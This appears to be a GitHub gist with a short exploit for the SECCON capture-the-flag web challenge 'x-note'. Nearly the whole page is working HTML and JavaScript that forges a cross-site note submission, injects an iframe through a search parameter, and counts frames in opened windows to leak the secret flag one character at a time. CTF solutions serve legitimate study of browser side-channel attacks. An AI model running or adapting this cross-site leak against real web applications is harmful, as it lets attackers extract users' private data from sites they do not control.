Skip to content

Instantly share code, notes, and snippets.

@tyage
Last active December 12, 2021 05:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tyage/d364f9d45a2d300fe951995a6929a917 to your computer and use it in GitHub Desktop.
Save tyage/d364f9d45a2d300fe951995a6929a917 to your computer and use it in GitHub Desktop.
x-note
<script>
chars = '_0123456789abcdefghijklmnopqrstuvwxyz'.split('')
//chars = '_012345678'.split('')
//chars = '9abcdefgh'.split('')
//chars = 'ijklmnopq'.split('')
//chars = 'rstuvwxyz}'.split('')
let prefix = 'SECCON{'
for (let char of chars) {
setTimeout(() => {
let trial = `${prefix}${char}`
let a = window.open(`xnote-post.html?char=${trial}`)
setTimeout(() => {
a.location = `http://web:3000/?search=${trial}&msg=%3Ciframe%3E%3C/iframe%3E${'&%20filteredNotes='.repeat(500)}`
}, 500)
setTimeout(() => {
a.location.href = `test?${trial}=${a.frames.length}`
}, 2000)
},0)
}
</script>
<form action=http://web:3000/createNote method=POST>
<input name=note[toString] value="SECCONhoge" id=note>
</form>
<script>
note.value = location.search.split('?char=')[1]
document.forms[0].submit()
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment